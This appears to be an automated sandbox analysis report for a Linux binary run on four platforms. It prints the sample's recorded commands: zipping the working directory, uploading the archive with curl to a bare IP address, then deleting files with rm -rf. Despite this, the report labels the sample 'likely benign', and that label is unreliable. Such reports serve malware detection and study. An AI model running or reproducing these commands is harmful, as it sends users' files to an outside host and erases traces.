Analysis Overview
SHA256
a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42
Threat Level: Likely benign
The file a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42 was found to be: Likely benign.
Malicious Activity Summary
Checks CPU configuration
Writes file to tmp directory
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-28 14:46
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-28 14:46
Reported
2024-08-28 14:47
Platform
ubuntu1804-amd64-20240611-en
Max time kernel
0s
Max time network
29s
Command Line
Signatures
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/ziiaT9mL | /usr/bin/zip | N/A |
| File opened for modification | /tmp/.zip | /usr/bin/zip | N/A |
Processes
/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42
[/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42]
/usr/bin/zip
[zip -r .zip .]
/usr/bin/curl
[curl -s -o /dev/null -F method=data -F [email protected] http://81.19.137.179/api/index.php]
/bin/rm
[rm -rf ]
/bin/rm
[rm -rf .zip]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| NL | 81.19.137.179:80 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| GB | 89.187.167.3:443 | tcp |
Files
/tmp/ziiaT9mL
| MD5 | 89fc6aebde0ce86e80a940cecfab0d90 |
| SHA1 | 108f7cf8a95df6e27803220f62ada7ed6482fcb9 |
| SHA256 | a75bbe50a82bed157b906dc6d2d95fddeed264f7a0ecaa04aadeddc5573ee962 |
| SHA512 | 2315b8ec5b26a9695a773eb05fffa19145fa4061cc00abd99eec2ba314d45cdf6063b3144bd3f1c73548d14f1b7b9a39870c969d328606495cc3653aaa3f6879 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-28 14:46
Reported
2024-08-28 14:47
Platform
debian9-armhf-20240418-en
Max time kernel
1s
Max time network
3s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
Processes
/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42
[/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42]
/usr/bin/curl
[curl -s -o /dev/null -F method=data -F [email protected] http://81.19.137.179/api/index.php]
/bin/rm
[rm -rf ]
/bin/rm
[rm -rf .zip]
Network
| Country | Destination | Domain | Proto |
| NL | 81.19.137.179:80 | tcp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-08-28 14:46
Reported
2024-08-28 14:47
Platform
debian9-mipsbe-20240611-en
Max time kernel
3s
Max time network
8s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
Processes
/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42
[/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42]
/usr/bin/curl
[curl -s -o /dev/null -F method=data -F [email protected] http://81.19.137.179/api/index.php]
/bin/rm
[rm -rf ]
/bin/rm
[rm -rf .zip]
Network
| Country | Destination | Domain | Proto |
| NL | 81.19.137.179:80 | tcp |
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-08-28 14:46
Reported
2024-08-28 14:47
Platform
debian9-mipsel-20240418-en
Max time kernel
1s
Max time network
3s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
Processes
/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42
[/tmp/a9285283ad735659895d1e33b1435f846804fc910280021d1a78af187acaff42]
/usr/bin/curl
[curl -s -o /dev/null -F method=data -F [email protected] http://81.19.137.179/api/index.php]
/bin/rm
[rm -rf ]
/bin/rm
[rm -rf .zip]
Network
| Country | Destination | Domain | Proto |
| NL | 81.19.137.179:80 | tcp |